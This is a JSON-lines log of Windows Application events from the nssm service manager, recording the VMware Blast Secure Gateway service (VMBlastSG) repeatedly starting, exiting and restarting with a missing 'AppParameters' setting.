{"@timestamp":1646693922503,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158087}}
{"@timestamp":1646693922507,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158088}}
{"@timestamp":1646693922508,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154912","0"]}}},"module":"Application","provider":"nssm","sequence":158089}}
{"@timestamp":1646693922509,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154912","154912","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158090}}
{"@timestamp":1646693922526,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158091}}
{"@timestamp":1646693922527,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158092}}
{"@timestamp":1646693922527,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158093}}
{"@timestamp":1646693922529,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158094}}
{"@timestamp":1646694051025,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158095}}
{"@timestamp":1646694051028,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158096}}
{"@timestamp":1646694051029,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154544","0"]}}},"module":"Application","provider":"nssm","sequence":158097}}
{"@timestamp":1646694051029,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154544","154544","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158098}}
{"@timestamp":1646694051045,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158099}}
{"@timestamp":1646694051046,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158100}}
{"@timestamp":1646694051046,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158101}}
{"@timestamp":1646694051047,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158102}}
{"@timestamp":1646694179562,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158103}}
{"@timestamp":1646694179565,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158104}}
{"@timestamp":1646694179566,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155604","0"]}}},"module":"Application","provider":"nssm","sequence":158105}}
{"@timestamp":1646694179566,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155604","155604","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158106}}
{"@timestamp":1646694179583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158107}}
{"@timestamp":1646694179583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158108}}
{"@timestamp":1646694179584,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158109}}
{"@timestamp":1646694179585,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158110}}
{"@timestamp":1646694308196,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158111}}
{"@timestamp":1646694308197,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158112}}
{"@timestamp":1646694308198,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154432","0"]}}},"module":"Application","provider":"nssm","sequence":158113}}
{"@timestamp":1646694308199,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154432","154432","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158114}}
{"@timestamp":1646694308217,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158115}}
{"@timestamp":1646694308218,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158116}}
{"@timestamp":1646694308218,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158117}}
{"@timestamp":1646694308219,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158118}}
{"@timestamp":1646694436732,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158119}}
{"@timestamp":1646694436735,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158120}}
{"@timestamp":1646694436736,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155032","0"]}}},"module":"Application","provider":"nssm","sequence":158121}}
{"@timestamp":1646694436736,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155032","155032","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158122}}
{"@timestamp":1646694436751,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158123}}
{"@timestamp":1646694436752,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158124}}
{"@timestamp":1646694436752,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158125}}
{"@timestamp":1646694436753,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158126}}
{"@timestamp":1646694565360,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158127}}
{"@timestamp":1646694565362,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158128}}
{"@timestamp":1646694565363,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155284","0"]}}},"module":"Application","provider":"nssm","sequence":158129}}
{"@timestamp":1646694565364,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155284","155284","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158130}}
{"@timestamp":1646694565379,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158131}}
{"@timestamp":1646694565380,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158132}}
{"@timestamp":1646694565380,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158133}}
{"@timestamp":1646694565381,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158134}}
{"@timestamp":1646694693907,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158135}}
{"@timestamp":1646694693909,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158136}}
{"@timestamp":1646694693909,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154856","0"]}}},"module":"Application","provider":"nssm","sequence":158137}}
{"@timestamp":1646694693910,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154856","154856","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158138}}
{"@timestamp":1646694693927,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158139}}
{"@timestamp":1646694693928,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158140}}
{"@timestamp":1646694693928,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158141}}
{"@timestamp":1646694693929,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158142}}
{"@timestamp":1646694822439,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158143}}
{"@timestamp":1646694822441,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158144}}
{"@timestamp":1646694822442,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154500","0"]}}},"module":"Application","provider":"nssm","sequence":158145}}
{"@timestamp":1646694822443,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154500","154500","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158146}}
{"@timestamp":1646694822459,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158147}}
{"@timestamp":1646694822459,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158148}}
{"@timestamp":1646694822460,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158149}}
{"@timestamp":1646694822460,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158150}}
{"@timestamp":1646694951025,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158151}}
{"@timestamp":1646694951026,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158152}}
{"@timestamp":1646694951027,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151380","0"]}}},"module":"Application","provider":"nssm","sequence":158153}}
{"@timestamp":1646694951028,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151380","151380","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158154}}
{"@timestamp":1646694951044,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","144136","0"]}}},"module":"Application","provider":"nssm","sequence":158155}}
{"@timestamp":1646694951045,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["144136","151380","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158156}}
{"@timestamp":1646694951062,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158157}}
{"@timestamp":1646694951063,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158158}}
{"@timestamp":1646694951063,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158159}}
{"@timestamp":1646694951064,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158160}}
{"@timestamp":1646695079590,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158161}}
{"@timestamp":1646695079591,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158162}}
{"@timestamp":1646695079592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154380","0"]}}},"module":"Application","provider":"nssm","sequence":158163}}
{"@timestamp":1646695079593,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154380","154380","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158164}}
{"@timestamp":1646695079610,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158165}}
{"@timestamp":1646695079610,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158166}}
{"@timestamp":1646695079611,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158167}}
{"@timestamp":1646695079612,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158168}}
{"@timestamp":1646695208146,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158169}}
{"@timestamp":1646695208147,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158170}}
{"@timestamp":1646695208148,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155244","0"]}}},"module":"Application","provider":"nssm","sequence":158171}}
{"@timestamp":1646695208148,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155244","155244","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158172}}
{"@timestamp":1646695208168,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158173}}
{"@timestamp":1646695208168,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158174}}
{"@timestamp":1646695208169,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158175}}
{"@timestamp":1646695208170,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158176}}
{"@timestamp":1646695336867,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158177}}
{"@timestamp":1646695336868,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158178}}
{"@timestamp":1646695336868,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153956","0"]}}},"module":"Application","provider":"nssm","sequence":158179}}
{"@timestamp":1646695336869,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153956","153956","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158180}}
{"@timestamp":1646695336885,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158181}}
{"@timestamp":1646695336886,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158182}}
{"@timestamp":1646695336886,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158183}}
{"@timestamp":1646695336887,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158184}}
{"@timestamp":1646695465380,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158185}}
{"@timestamp":1646695465381,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158186}}
{"@timestamp":1646695465382,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153564","0"]}}},"module":"Application","provider":"nssm","sequence":158187}}
{"@timestamp":1646695465383,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153564","153564","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158188}}
{"@timestamp":1646695465402,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158189}}
{"@timestamp":1646695465402,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158190}}
{"@timestamp":1646695465403,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158191}}
